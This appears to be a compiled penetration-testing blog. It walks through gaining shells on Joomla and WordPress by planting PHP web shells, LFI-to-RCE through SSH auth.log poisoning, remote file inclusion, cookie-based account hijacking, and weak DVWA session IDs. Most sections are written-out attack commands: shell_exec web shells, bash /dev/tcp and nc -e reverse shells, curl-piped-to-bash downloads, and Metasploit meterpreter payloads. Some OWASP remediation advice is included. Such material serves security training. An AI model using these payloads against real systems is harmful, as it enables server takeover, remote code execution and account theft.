Reverse shell on any CMS

This trick works on any CMS you access. In case, you get the credentials either by brute force, disclosure, etc. This example uses Joomla! CMS

Joomla Reverse shell

1. Having access to the account and being able to edit the template

  • Go to Extensions - Templates - Templates

2. Select the template to use, in this case “Protostar Details and Files”

  • Click on New File

  • Choose a file name: vk9-sec
  • Choose the extension: php

  • Click on Create

3. Create a PHP script to accept remote commands

  • <?php echo "Follow us." ?>
  • <?php echo shell_exec($_GET['cmd']); ?>
  • Click save

4. Locate the vk9-sec.php page, in our case it is under /templates/protostar/vk9-sec.php

5. We know the PHP file is working, now we will enter the GET request via URL using the variable ‘cmd’

  • http://10.10.10.150/templates/protostar/vk9-sec.php?cmd=whoami

6. Let’s execute a remote file with a netcat reverse shell

  • start a listener in Kali/Parrot

Create a file with the command

  • echo "bash -i >& /dev/tcp/10.10.14.4/4444 0>&1" > vk9_reverse.sh
  • cat vk9-reverse.sh

Establish a python web server to download the file from the remote server

  • python -m SimpleHTTPServer 9999

Now using the ‘cmd’ variable in vk9-sec.php download the vk9_reverse.sh file using curl

  • http://10.10.10.150/templates/protostar/vk9-sec.php?cmd=curl 10.10.14.4:9999/vk9_reverse.sh | bash

Looking at the listener, we get a remote connection

Python web server logs

Reverse shell WordPress & Metasploit

1. Having already an active session in WordPress to the admin page. We can edit the page source and inject code that can do literally anything when the page is executed.

  • Appearance -> Editor
  • I chose “index.php”

2. To test we can inject a simple PHP code, in index.php script. The page should show, the text, and perhaps the output of a bash command through ‘cmd’ variable

  • <?php echo "Vry4n" ?>
  • <?php echo shell_exec($_GET['cmd']); ?>

3. Capturing the traffic with BurpSuite we will analyze the server responses

  • First picture, we will just see string in the source code ‘Vry4n’

  • The second time we will visit (http://192.168.0.17/0/index.php?cmd=id)

4. Knowing we can print stuff on screen and execute some commands. We can proceed with the reverse connection.

Reverse Shell

1. From the attacking machine, we will generate a payload using MSFVenom, this will be in PHP language as the site has many PHP scripts already coded

  • msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.13 LPORT=443 -f raw

2. Copy this code to the editor in WordPress

3. Start a listener in Metasploit

  • sudo msfdb init
  • sudo msfconsole
  • use exploit/multi/handler
  • set payload php/meterpreter/reverse_tcp
  • set LHOST 192.168.0.13
  • set LPORT 443
  • exploit

4. Now execute the script by visiting /index.php in the browser

  • http://192.168.0.17/0/index.php

5. The connection should show up now in Metasploit listener

WordPress Plugin editor

Having already access to CMS admin console. You could modify a plugin code and inject whatever you want.

1. Go to Plugins - Editor

2. Locate the script, you want to modify and add. I’d use akismet, usually plugins are stored at /wp-content/plugins

  • <?php echo "Vry4n" ?>
  • <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.0.13/443 0>&1'"); ?>

3. Now visit the plugin from the browser, as you can see, the string “Vry4n” displays as the first line echoes it

  • http://192.168.0.14/wp-content/plugins/akismet/akismet.php

4. We can now try a reverse shell. Start a netcat listener in your local machine

  • nc -lvp 443

5. As per the second line we requested a reverse shell, reload the page

Testing LFI to RCE using auth.log (SSH) poisoning with Mutillidae & BurpSuite

https://wiki.owasp.org/index.php/Testing_for_Local_File_Inclusion

The File Inclusion vulnerability allows an attacker to include a file within the system, this happens due to bad handling of user input.

Local File Inclusion (also known as LFI) is the process of including files, that are already locally present on the server, the parameter might be able to be passed in via either GET (URL) or POST (variables) due to the parameters pollution flaw. Using the parent traversal operator ("..") can help break out of the web server file folders. Also, direct file paths can be tried.

This can lead to something as outputting the contents of the file, but depending on the severity, it can also lead to:

  • Code execution on the web server
  • Code execution on the client-side such as JavaScript which can lead to other attacks such as cross site scripting (XSS)
  • Denial of Service (DoS)
  • Sensitive Information Disclosure

Example of vulnerable code

<?php

$file = $_GET['file'];

if(isset($file))

{

include("$file");

}

else

{

include("index.php");

}

?>

Demo

1. Access to OWASP 2017 - "A5 - Broken Access Control” - Insecure Direct Object References – Local File Inclusion

2. Make a request and grab it with BurpSuite for further analysis

We see this is a GET request and the parameters can be modified via BurpSuite or directly from the URL in the browser. This time I decided to keep playing with BurpSuite.

3. Modify the request and try to see a common file, we use the path as below to make sure we go back to the root directory, also, you can encode the value to try to skip user input validation.

  • page=../../../../../../etc/hosts

Edited request

Server response

In the browser we see the following

This means that /etc/hosts can be read via LFI.

Log Poisoning to Remote Code Execution

This technique is used to poison any log if you can write append to it. This case we will use auth.log this is an ssh log located in /var/log/

1. Try to read that file using LFI technique

There are possible results:

  • Display file auth.log content: If the user has permission to read it
  • Display blank page: It exists but can’t be read or displayed
  • 404 error: The file doesn’t exist

2. In this case we can read the file. Since, SSH is used to write on this file, we use SSH to try to leave a log entry.

  • ssh vk9sec@192.168.0.13

This is the log entry, if we have access to the server

  • tail -n 5 -f auth.log

Since, we can read the file from the browser we search for that entry

At this point we know we are writing to this file.

3. Now, we will poison the log file with the following entry

  • ssh '<?php system($_GET['cmd']); ?>'@192.168.0.13

Looking at the log locally from the server I found the entry

  • tail -n5 -f auth.log

In the browser I found this entry

  • “Invalid user from 192.168.0.13 port 43318”

4. Now we have injected the “cmd” variable to execute system commands, let’s try that out. We will be printing the current working directory

  • http://127.0.0.1:8080/mutillidae/index.php?page=/var/log/auth.log&cmd=pwd

Here we can see the output of pwd command. We are executing those. Now we will execute a reverse connection.

5. To have the remote session start the listener

  • nc -lvp 4444

Now run the following command instead of the pwd

  • http://127.0.0.1:8080/mutillidae/index.php?page=/var/log/auth.log&cmd=nc –e /bin/bash 192.168.0.13 4444

The listener now should have got the remote connection.

Remediation

The most effective solution to eliminate file inclusion vulnerabilities is to avoid passing user-submitted input to any filesystem/framework API. If this is not possible the application can maintain a white list of files, that may be included by the page, and then use an identifier (for example the index number) to access to the selected file. Any request containing an invalid identifier has to be rejected, in this way there is no attack surface for malicious users to manipulate the path.

Access control RFI & Reading file function exploitation + reverse shell with Mutillidae and BurpSuite

This time we will be exploring RFI and read file explorer

https://wiki.owasp.org/index.php/Testing_for_Remote_File_Inclusion

RFI

Remote file inclusion allows an attacker to include file remote (from the web servers point of view) possibly allowing code execution, denial of service, and data disclosure.

Since RFI occurs when paths passed to "include" statements are not properly sanitized, in a blackbox testing approach.

$incfile = $_REQUEST["file"];

include($incfile.".php");

A URI can be used to specify a remote file such as http://vk9-sec.com/somefile.php

Note the page parameter contains the URL to the search page. http://localhost:8080/index.php?page=http://vk9-sec.com/somefile.php

If we host our own content, we could control the content of the page loaded by the page parameter. For example, host a small PHP web shell file on a site you control.

<?php

echo "<pre>";

echo "shell_exec " . $_REQUEST["cmd" ] . "\n\n";

echo shell_exec($_REQUEST["cmd"]);

echo "</pre>";

?>

We create a hyperlink that will exploit the remote file inclusion vulnerability in the index.php page to incorporate the web shell into the web page.

http://localhost:8080/index.php?page=http://vk9-sec.com/somefile.php?cmd=whoami

If we get to see the content of the command we can then successfully write a reverse shell

RFI example

1. Navigate through Mutillidae OWASP 2017 - Broken access control - Insecure Direct Object References - Remote File Inclusion

2. Capturing the traffic I see this is a “GET request”, I decided to play with the “page=” attribute in the URL “page=arbitrary-file-inclusion.php”

5. I tested this by using an existing page I own and one that doesn’t exist.

Existing one, it doesn’t print anything but shows as blank “page=http://localhost/”

Non-existing one does indicate the page is not found “page=http://localhost/123.php”

4. I created a php file to run a reverse shell, vk9script.php

  • <?php echo shell_exec(“nc -e /bin/bash 192.168.0.13 4444”) ?>

First start a listener in the attacker machine

  • nc -lvp 4444

Then we capture a request to the site and place our server and script, it will be run by the web page, I’m issuing all this locally, it does work the same on a remote server as long as there is nothing blocking traffic in between

http://127.0.0.1:8080/mutillidae/index.php?page=http://localhost/vk9script.php

Original Request

Edited request

Once, the RFI has done its work executing the remote file. The reverse shell takes effect and our listener gets a connection

Issuing the python command gives us access to a shell

End

Text File Viewer

1. Go to OASP 2017 - "A5 - Broken Access Control” - Insecure Direct Object References - Text File Viewer

2. This does read a file from a remote source, select the file and click on “View File”

3. Capturing the request, I noticed it is “POST”, and, there is a variable with a value that points to a remote file

textfile=http%3A%2F%2Fwww.textfiles.com%2Fhacking%2Fauditool.txt&text-file-viewer-php-submit-button=View+File

5. I modified this and pointed to my hosted file http://localhost/vk9script.php, also, I started a listener

Listener

  • nc -lvp 4444

Modified request

6. The listener got the remote connection, the python command gives us access to a decent shell

  • python -c ‘import pty; pty.spawn(“/bin/sh”)’

Remediation

The most effective solution to eliminate file inclusion vulnerabilities is to avoid passing user-submitted input to any filesystem/framework API. If this is not possible the application can maintain a white list of files, that may be included by the page, and then use an identifier (for example the index number) to access to the selected file. Any request containing an invalid identifier has to be rejected, in this way there is no attack surface for malicious users to manipulate the path.

Access control: Account highjacking with Mutillidae

This happens when a cyber-criminal controls somebody else’s account by using credentials (session ID, username number, etc.)

In this example I will demonstrate this technique using Mutillidae, we’ll create 2 accounts and highjack it.

  • OWASP 2017 - “A5 - Broken Access Control” - Insecure Direct References – Via Account Highjacking

Demo

1. Create an account “Please register here”

It opens a script named “page=register.php” Enter the following

  • Username: attacker
  • Password: test
  • Confirm Password: test
  • Signature: Follow on Twitter -> @Vry4n_

Click on create account

2. Go back and this time click on “login here”

Click on Login to access the new account. It shows at the top “Logged In User: attacker”

3. Capturing the login request with BurpSuite we noticed that by logging in the servers modified the current cookie by adding 2 more values besides the existing “showhints=1; PHPSESSID=21cv08dsk7jisebj1vb0a428jp”

HTTP request

HTTP response

New values:

  • username=attacker
  • uid=24 # This is the user ID we will exploit it

4. Send that to Burp Intruder, set the uid value as variable, as I saw 24 as uid of my created account, I will count from 1 - 100

Positions

  • Attack type: sniper
  • Uid-$24$

Payload 1

  • Simple list
  • Load ->select the list of numbers
  • Start attack

I went through the results and checked what is printed on “Logged In User: “, some results showed other than attacker, which means the uid exists

I found “admin” to be uid=1, this time the result show “Logged In Admin: “

5. Inspecting the cookie and changing the current value in the browser from 24 (attacker) to 1 (admin)

6. The result is that the user logged in now is “admin”

7. If you go back to “OWASP 2017 – ‘A5 - Broken Access Control’ - Insecure Direct References – Via Account Highjacking”

The password of the user admin can be changed.

Tips: To test this vulnerability you can create 2 accounts and compare their values to know if that can be predicted/stolen somehow.

Best practices

  • Implement role based access control to assign permissions to application users for vertical access control requirements
  • Implement data-contextual access control to assign permissions to application users in the context of specific data items for horizontal access control requirements
  • Avoid assigning permissions on a per-user basis
  • Perform consistent authorization checking routines on all application pages
  • Where applicable, apply DENY privileges last, issue ALLOW privileges on a case-by-case basis

Session Management DVWA

Log in to DVWA admin/password, Session IDs have 4 levels (low, medium, high, impossible)

We will first inspect the low one. So, set the level to low

Low

This script is very basic and unsecure, due to the session ID is created in plaintext and uses the most common sequences.

Click on view source to open the window below

This code does the following:

  • If the method is “POST” and if there is no “last_session_id” set it to 0 to start.
  • If there is already a “last_session_id” start increasing by one
  • Then, set the cookie with the value and set it as “dvwaSession”

If we test against sequencer it shows this is weak

Medium

This is still weak, instead of a fix number increment, this implements the value based on time

Sending it to sequencer shows it is still poor

High

These time things get a little more serious. This request first checks for the type of request it should be “POST”, if isset has not been declared set the variable ‘last_session_id_high” = 0, once, the session has been created increment “last_session_id_high”, set the session id value as MD5 of the “last_session_id_high”, then, set the cookie values:

  • Value name: dvwaSession
  • Set the cookie value : the md5 hash
  • Set the time to expire
  • The path in which this session is allowed: /vulnerabilities/weak_id
  • IP address
  • False might indicate some values omitted

It seems more complicated even sending this to sequencer it showed positive results: excellent

In reality this is not a secure practice, as the MD5 hash was transmitted in the response set-cookie. I captured that traffic

Set-Cookie: dvwaSession=e4c8c477d15f72bef65651ddb22c5891; expires=Wed, 15-Jan-2020 01:58:08 GMT; Max-Age=3600; path=/vulnerabilities/weak_id/; domain=127.0.0.1:8080

Now using any md5 tool, in this case I’m using https://www.md5online.org/md5-decrypt.html

So we got the Session ID.

Impossible

This time the code got more robust. If the request is “POST”, set the session ID as a hash value SHA1 of a random number, concatenate the time and concatenate the work “Impossible”

Attacking & Securing Session Management

I am writing this based on OWASP and the book “The Web Application Hacker’s Handbook”.

https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html

Introduction

The HTTP protocol is essentially stateless. It is based on a simple request-response model, in which each pair of messages represents an independent transaction.

applications use HTTP cookies as the transmission mechanism for passing these session tokens between server and client.

The server’s first response to a new client contains an HTTP header like the following:

  • Set-Cookie: ASP.NET_SessionId=mza2ji454s04cwbgwb2ttj55

Subsequent requests from the client contain this header:

  • Cookie: ASP.NET_SessionId=mza2ji454s04cwbgwb2ttj55

The vulnerabilities that exist in session management mechanisms largely fall into two categories:

  • Weaknesses in the generation of session tokens
  • Weaknesses in the handling of session tokens throughout their life cycle

A web session is a sequence of network HTTP request and response transactions associated to the same user.

Sessions provide the ability to establish variables – such as access rights and localization settings – which will apply to each and every interaction a user has with the web application for the duration of the session.

Web applications can create sessions to keep track of anonymous users after the very first user request.

Session ID

The session ID (or token) is temporarily equivalent to the strongest authentication method used by the application, such as username and password, passphrases, one-time passwords (OTP), client-based digital certificates, smartcards, or biometrics (such as fingerprint or eye retina).

Session ID Properties

In order to keep the authenticated state and track the users progress within the web application, applications provide users with a session identifier (session ID or token) that is assigned at session creation time, and is shared and exchanged by the user and the web application for the duration of the session (it is sent on every HTTP request). The session ID is a name=value pair.

  • The name used by the session ID should not be extremely descriptive nor offer unnecessary details about the purpose and meaning of the ID.
  • The session ID must be long enough to prevent brute force attacks, where an attacker can go through the whole range of ID values and verify the existence of valid sessions.
  • The session ID length must be at least 128 bits (16 bytes)
  • The session ID must be unpredictable (random enough) to prevent guessing attacks, where an attacker is able to guess or predict the ID of a valid session through statistical analysis techniques. For this purpose, a good PRNG (Pseudo Random Number Generator) must be used.
  • The session ID content (or value) must be meaningless to prevent information disclosure attacks, where an attacker is able to decode the contents of the ID and extract details of the user, the session, or the inner workings of the web application.
  • In order to protect the session ID exchange from active eavesdropping and passive disclosure in the network traffic, it is essential to use an encrypted HTTPS (TLS) connection for the entire web session, not only for the authentication process where the user credentials are exchanged.
  • The session ID exchange mechanism based on cookies provides multiple security features in the form of cookie attributes that can be used to protect the exchange of the session ID

Secure

HttpOnly

SameSite

Domain

Path

Expire

Max-age

Testing Steps

1. The application may often employ several different items of data collectively as a token, including cookies, URL parameters, and hidden form fields. Some of these items may be used to maintain session state on different back-end components. Do not assume that a particular parameter is the session token without proving it, or that sessions are being tracked using only one item.

2. Sometimes, items that appear to be the application’s session token may not be. In particular, the standard session cookie generated by the web server or application platform may be present but not actually used by the application.

3. Observe which new items are passed to the browser after authentication. Often, new session tokens are created after a user authenticates herself.

4. To verify which items are actually being employed as tokens, find a page that is definitely session-dependent (such as a user-specific “my details” page). Make several requests for it, systematically removing each item that you suspect is being used as a token. If removing an item causes the session-dependent page not to be returned, this may confirm that the item is a session token. Burp Repeater is a useful tool for performing these tests.

Weaknesses in Token Generation

  • Password recovery tokens sent to the user’s registered e-mail address
  • Tokens placed in hidden form fields to prevent cross-site request forgery attacks
  • Tokens used to give one-time access to protected resources
  • Persistent tokens used in “remember me” functions
  • Tokens allowing customers of a shopping application that does not use authentication to retrieve the current status of an existing order

Here are some components that may be encountered within structured tokens:

  • The account username
  • The numeric identifier that the application uses to distinguish between accounts
  • The user’s first and last names
  • The user’s e-mail address
  • The user’s group or role within the application n A date/time stamp
  • An incrementing or predictable number
  • The client IP address

Hacking Steps

1. Try changing the token’s value one byte at a time (or even one bit at a time) and resubmitting the modified token to the application to determine whether it is still accepted. You can use the “char frobber” payload type in Burp Intruder to modify a token’s value in one character position at a time, to help with this task.

HTTP history -> right click the request (send to intruder) -> Payloads -> Payload 1 (Character frobber)

Start Attack

It tested and came across with some 200 OK

2. Log in as several different users at different times, and record the tokens received from the server. If self-registration is available and you can choose your username, log in with a series of similar usernames containing small variations between them, such as A, AA, AAA, AAAA, AAAB, AAAC, AABA

Analyze the tokens for any correlations that appear to be related to the username and other user-controllable data.

Analyze the tokens for any detectable encoding or obfuscation. Where the username contains a sequence of the same character, look for a corresponding character sequence in the token, which may indicate the use of XOR obfuscation.

3. If any meaning can be reverse-engineered from the sample of session tokens, consider whether you have sufficient information to attempt to guess the tokens recently issued to other application users

Predictable Tokens

Vulnerabilities relating to predictable token generation may be much easier to discover in commercial implementations of session management

  • We continue polling the server to obtain new session tokens in quick succession.
  • We monitor the increments in the first number. When this increases by more than 1, we know that a token has been issued to another user.
  • Weak Random Number Generation

Testing Randomness with Burp Sequencer

Send to sequencer -> Live Capture Request -> Start live capture

Check the results: Analyze now

The overall results show “extremely poor”

Hacking steps

1. Determine when and how session tokens are issued by walking through the application from the first application page through any login functions. Two behaviors are common:

  • The application creates a new session anytime a request is received that does not submit a token.
  • The application creates a new session following a successful login.

To harvest large numbers of tokens in an automated way, ideally identify a single request (typically either GET / or a login submission) that causes a new token to be issued.

2. In Burp Suite, send the request that creates a new session to Burp Sequencer, and configure the token’s location. Then start a live capture to gather as many tokens as is feasible. If a custom session management mechanism is in use, and you only have remote access to the application, gather the tokens as quickly as possible to minimize the loss of tokens issued to other users and reduce the influence of any time dependency.

3. If a commercial session management mechanism is in use and/or you have local access to the application, you can obtain indefinitely large sequences of session tokens in controlled conditions.

4. While Burp Sequencer is capturing tokens, enable the “auto analyze” setting so that Burp automatically performs the statistical analysis periodically. Collect at least 500 tokens before reviewing the results in any detail. If a sufficient number of bits within the token have passed the tests, continue gathering tokens for as long as is feasible, reviewing the analysis results as further tokens are captured.

5. If the tokens fail the randomness tests and appear to contain patterns that could be exploited to predict future tokens, re-perform the exercise from a different IP address and (if relevant) a different username. This will help you identify whether the same pattern is detected and whether tokens received in the first exercise could be extrapolated to identify tokens received in the second. Sometimes the sequence of tokens captured by one user manifests a pattern. But this will not allow straightforward extrapolation to the tokens issued to other users, because information such as source IP is used as a source of entropy (such as a seed to a random number generator).

6. If you believe you have enough insight into the token generation algorithm to mount an automated attack against other users’ sessions, it is likely that the best means of achieving this is via a customized script. This can generate tokens using the specific patterns you have observed and apply any necessary encoding to this type of problem.

7. If source code is available, closely review the code responsible for generating session tokens to understand the mechanism used and determine whether it is vulnerable to prediction. If entropy is drawn from data that can be determined within the application within a brute-forcible range, consider the practical number of requests that would be needed to bruteforce an application token.

Testing encoding with Burp bit flipper

Send to intruder -> Attack type “sniper” -> select the variable

Payloads -> Bit flipper

Start attack

As you can see it starts playing bit by bit

Hacking steps:

1. Unless the session token is obviously meaningful or sequential in itself, always consider the possibility that it might be encrypted.

You can often identify that a block-based cipher is being used by registering several different usernames and adding one character in length each time.

If you find a point where adding one character results in your session token jumping in length by 8 or 16 bytes, then a block cipher is probably being used. You can confirm this by continuing to add bytes to your username, and looking for the same jump occurring 8 or 16 bytes later.

2. ECB cipher manipulation vulnerabilities are normally difficult to identify and exploit in a purely black-box context. You can try blindly duplicating and moving the ciphertext blocks within your token, and reviewing whether you remain logged in to the application within your own user context, or that of another user, or none at all.

3. You can test for CBC cipher manipulation vulnerabilities by running a Burp Intruder attack over the whole token, using the “bit flipping” payload source. If the bit flipping attack identifies a section within the token, the manipulation of which causes you to remain in a valid session, but as a different or nonexistent user, perform a more focused attack on just this section, trying a wider range of values at each position.

4. During both attacks, monitor the application’s responses to identify the user associated with your session following each request, and try to exploit any opportunities for privilege escalation that may result.

5. If your attacks are unsuccessful, but it appears from step 1 that variable length input that you control is being incorporated into the token, you should try generating a series of tokens by adding one character at a time, at least up to the size of blocks being used. For each resulting token, you should reperform steps 2 and 3. This will increase the chance that the data you need to modify is suitably aligned with block boundaries for your attack to succeed.

Some Weaknesses

  • Disclosure of Tokens on the Network, Some applications elect to use HTTPS to protect the user’s credentials during login but then revert to HTTP for the remainder of the user’s session.
  • Disclosure of Tokens in Logs

Securing session management

  • Generate Strong Token
  • Protect Tokens Throughout Their Life Cycle
  • Session Termination
  • Session Timeout
  • TLS Sessions